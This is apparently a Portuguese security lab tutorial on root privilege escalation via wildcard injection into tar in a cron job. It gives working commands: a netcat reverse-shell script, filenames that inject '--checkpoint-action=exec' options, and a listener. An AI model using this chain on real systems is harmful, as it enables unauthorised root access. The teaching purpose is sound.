Introdução
Neste laboratório, aprenderemos sobre injeção de curinga (wildcard injection), uma técnica utilizada para escalada de privilégios em sistemas Linux. Especificamente, exploraremos o princípio da injeção de curinga no comando tar, amplamente utilizado, e realizaremos um exercício prático para obter privilégios de root, aproveitando esta vulnerabilidade em combinação com o utilitário crontab.
Entendendo os Curingas (Wildcards)
Primeiramente, vamos entender o que são curingas (wildcards) e como eles funcionam no shell do Linux. Curingas são caracteres especiais ou sequências de caracteres que podem ser usados para representar ou corresponder a um conjunto de nomes de arquivos ou caminhos.
Aqui estão alguns curingas comuns:
*(asterisco) corresponde a qualquer número de caracteres (incluindo zero caracteres) em um nome de arquivo ou caminho.?(ponto de interrogação) corresponde a um único caractere.[](colchetes) correspondem a qualquer caractere único dentro do conjunto especificado de caracteres entre colchetes.~(til) representa o diretório home do usuário atual ou de outro usuário, se seguido por um nome de usuário.
No contexto da escalada de privilégios, os curingas * e - são comumente usados. Vamos primeiro explorar como o shell interpreta o caractere -.
Abra um terminal e navegue para o diretório
/home/labex/project:cd /home/labex/projectExiste um arquivo chamado
--helpno diretório atual. Tente pensar e experimentar como você pode visualizar o conteúdo deste arquivo.Se você usar o comando
cat --help, você obterá a mensagem de ajuda para o comandocatem vez de visualizar o conteúdo do arquivo--help.Da mesma forma, se você usar
vim --help, você verá uma mensagem de ajuda para o comandovim.Isso ocorre porque o shell do Linux interpreta
-como um argumento de comando.Para visualizar o conteúdo do arquivo
--help, você precisa evitar que o nome do arquivo comece com-. Você pode usar:cat /home/labex/project/--helpDessa forma, o shell não interpretará
--helpcomo um argumento, e você poderá visualizar o conteúdo do arquivo.Agora, vamos alterar o conteúdo do arquivo
--helpcom qualquer editor de sua escolha. Por exemplo, você pode usarnano:nano /home/labex/project/--helpExclua o conteúdo existente e adicione o seguinte texto ao arquivo:
I can read the fileSalve e saia do nano.
Este comportamento do shell é precisamente o que a injeção de curinga explora.
A injeção de curinga é frequentemente combinada com tarefas cron (cron jobs), então vamos explorar um exemplo do mundo real envolvendo o comando tar.
Injeção de Curinga em Crontab e Tar
Para entender como a injeção de curinga pode levar à escalada de privilégios, realizaremos um exercício prático envolvendo o comando tar e o crontab.
Primeiro, vamos inicializar o ambiente do laboratório executando o seguinte comando:
Navegue para o diretório
/home/labex/project:cd /home/labex/projectExecute o script de configuração para inicializar o ambiente do laboratório:
./env_setup.shApós a inicialização, você será alternado para o usuário
user001(simulando um invasor que obteve acesso inicial ao shell).Em seguida, vamos verificar o
crontabpara tarefas agendadas:cat /etc/crontabSaída esperada:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *Você deve ver uma tarefa agendada para ser executada a cada minuto, que arquiva o conteúdo do diretório
/var/www/html/em um arquivo compactado/var/backups/html.tgz.Em seguida, vamos dar uma olhada nos arquivos dentro do diretório
/var/www/html:ls /var/www/htmlPara explorar a vulnerabilidade de injeção de curinga, precisamos criar os seguintes três arquivos no diretório
/var/www/html/.Primeiro, navegue para o diretório
/var/www/html:cd /var/www/html/shell.shcom o conteúdo para executar um reverse shell:echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.shUm arquivo chamado
--checkpoint-action=exec=sh shell.sh(observe os espaços no nome do arquivo):echo "" > "--checkpoint-action=exec=sh shell.sh"Um arquivo chamado
--checkpoint=1:echo "" > --checkpoint=1
Após criar esses arquivos, o diretório
/var/www/html/deve ter a seguinte aparência:'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.shQuando o cron job executa o seguinte comando:
tar -zcf /var/backups/html.tgz /var/www/html/*Ele será interpretado como:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.htmlAqui está o que os parâmetros significam:
--checkpointe--checkpoint-actionsão tipicamente usados juntos. O primeiro define um ponto de verificação (checkpoint), e o último especifica a ação a ser tomada quando o ponto de verificação é atingido.--checkpoint-action=exec=sh shell.shsignifica que, quando o ponto de verificação é atingido, o scriptshell.shserá executado.
Portanto, sempre que o cron job for executado, o script
shell.shserá executado, o que fará um reverse-shell de/bin/bashpara a porta local 4444.Vamos configurar um listener na porta local 4444 no shell atual:
nc -lnvp 4444Após uma breve espera, quando o cron job for executado, devemos receber o reverse shell com privilégios de root:
Saída esperada:
Listening on 0.0.0.0 4444 Connection received on 127.0.0.1 56226Tente criar um arquivo
success.txtno diretório/rootpara confirmar que você tem privilégios de root:touch /root/success.txtSe você puder criar o arquivo sem nenhum erro de permissão, você escalou com sucesso seus privilégios usando a injeção de curinga.
Existem duas limitações importantes para esta técnica de escalada de privilégios tar + crontab:
O diretório
htmlprecisa ter permissão de escrita (w) para outros usuários, para que possamos criar oshell.she outros arquivos nesse diretório.O comando
tarnocrontabnão deve incluir um caminho absoluto. Por exemplo, se a entrada docrontabfor assim:* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*A injeção de curinga falhará porque o shell interpretará o comando como:
tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.htmlNesse caso,
/var/www/html/--checkpoint=1e/var/www/html/--checkpoint-action=exec=sh shell.shnão serão interpretados como argumentos do comandotar, e a injeção falhará.
Resumo
Neste laboratório, aprendemos sobre injeção de curinga (wildcard injection), uma técnica usada para escalada de privilégios em sistemas Linux. Exploramos o princípio da injeção de curinga no comando tar, amplamente utilizado, e realizamos um exercício prático para obter privilégios de root, aproveitando essa vulnerabilidade em combinação com o utilitário crontab. Por meio deste laboratório, adquirimos experiência prática na compreensão e exploração de uma vulnerabilidade de escalada de privilégios do mundo real, que é uma habilidade essencial para qualquer profissional de segurança ou administrador de sistemas.